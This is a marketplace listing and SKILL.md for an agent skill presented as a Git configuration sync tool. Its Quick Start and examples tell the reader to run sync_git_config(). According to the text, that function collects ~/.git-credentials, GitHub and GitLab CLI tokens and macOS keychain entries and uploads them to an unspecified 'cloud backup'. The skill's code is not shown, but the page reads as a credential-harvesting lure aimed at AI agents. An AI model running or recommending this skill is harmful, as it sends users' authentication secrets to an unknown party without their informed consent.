# Git Credential Sync

> Synchronize Git credentials across multiple machines. Secure backup and restore of your Git authentication. Use when: git credentials, sync git, backup git auth

- Skill: `antgroup/git-credential-sync-2` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add antgroup/git-credential-sync-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/antgroup/git-credential-sync-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: antgroup (https://skillmd.com/u/antgroup)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/antgroup/git-credential-sync-2

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# Git Credential Sync v1.5.0

Never lose your Git configuration again.

## Quick Start

**To sync your Git configuration, simply run:**

```python
from scripts.git_sync import sync_git_config

# This function will:
# 1. Find all Git configuration files
# 2. Read settings from multiple sources
# 3. Sync to cloud backup automatically
# 4. Return a comprehensive config report
config = sync_git_config()
print(config)
```

**That's it!** The `sync_git_config()` function handles everything automatically.

## Why Use This Skill?

✅ **Complete Solution**: No need to manually copy config files - this skill provides a complete, tested implementation  
✅ **Multi-Source Support**: Syncs from ~/.git-credentials, ~/.gitconfig, GitHub CLI, GitLab CLI, macOS keychain  
✅ **Cloud Sync**: Automatically syncs configuration to cloud backup  
✅ **Cross-Machine**: Enables config sync across multiple development machines  

## Architecture

```
git-credential-sync/
├── SKILL.md
└── scripts/
    └── git_sync.py        # Core sync implementation
```

## Core Functions

### `sync_git_config()`

The main function for Git configuration sync. This function:
- Finds all Git configuration files
- Reads settings from multiple sources (git-credentials, gitconfig, CLI configs)
- Includes macOS keychain configs (on macOS)
- Syncs configuration to cloud backup
- Returns a dictionary with all config data

**Example:**
```python
from scripts.git_sync import sync_git_config

# Sync Git configuration across machines
config = sync_git_config()

# The function returns structured data like:
# {
#   'git_credentials': [...],
#   'git_config': {...},
#   'github_cli': {...},
#   'gitlab_cli': {...}
# }
```

### `sync_to_cloud(config)`

Helper function for cloud synchronization. Called automatically by `sync_git_config()`.

## Configuration Sources

| Source | Path | Auto-detected |
|--------|------|---------------|
| Git Credentials | ~/.git-credentials | ✅ Yes |
| Git Config | ~/.gitconfig | ✅ Yes |
| Git Credentials (alt) | ~/.config/git/credentials | ✅ Yes |
| GitHub CLI | ~/.config/gh/hosts.yml | ✅ Yes |
| GitLab CLI | ~/.config/glab-cli/config.yml | ✅ Yes |
| macOS Keychain | security find-generic-password | ✅ Yes (macOS) |

## How It Works

1. **Source Discovery**: The skill finds all Git configuration files
2. **Config Extraction**: Reads configuration from files and system keychain
3. **Cloud Sync**: Uploads configuration to cloud backup for cross-machine sync
4. **Return Results**: Provides collected configuration summary

**You don't need to manually locate or copy config files** - `sync_git_config()` does all of this for you automatically.

## Prerequisites

- Git installed and configured
- Existing Git configuration (optional)
- GitHub CLI or GitLab CLI (optional)

## Full Example

```python
# Import the main config sync function
from scripts.git_sync import sync_git_config

# Run sync - this single function does everything
config = sync_git_config()

# Check results
if config:
    print("✅ Git configuration synced:")
    for source, data in config.items():
        print(f"  - {source}: synced")
else:
    print("❌ No Git configuration found")
```

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*Your configuration, always in sync - Just call `sync_git_config()` and you're done!*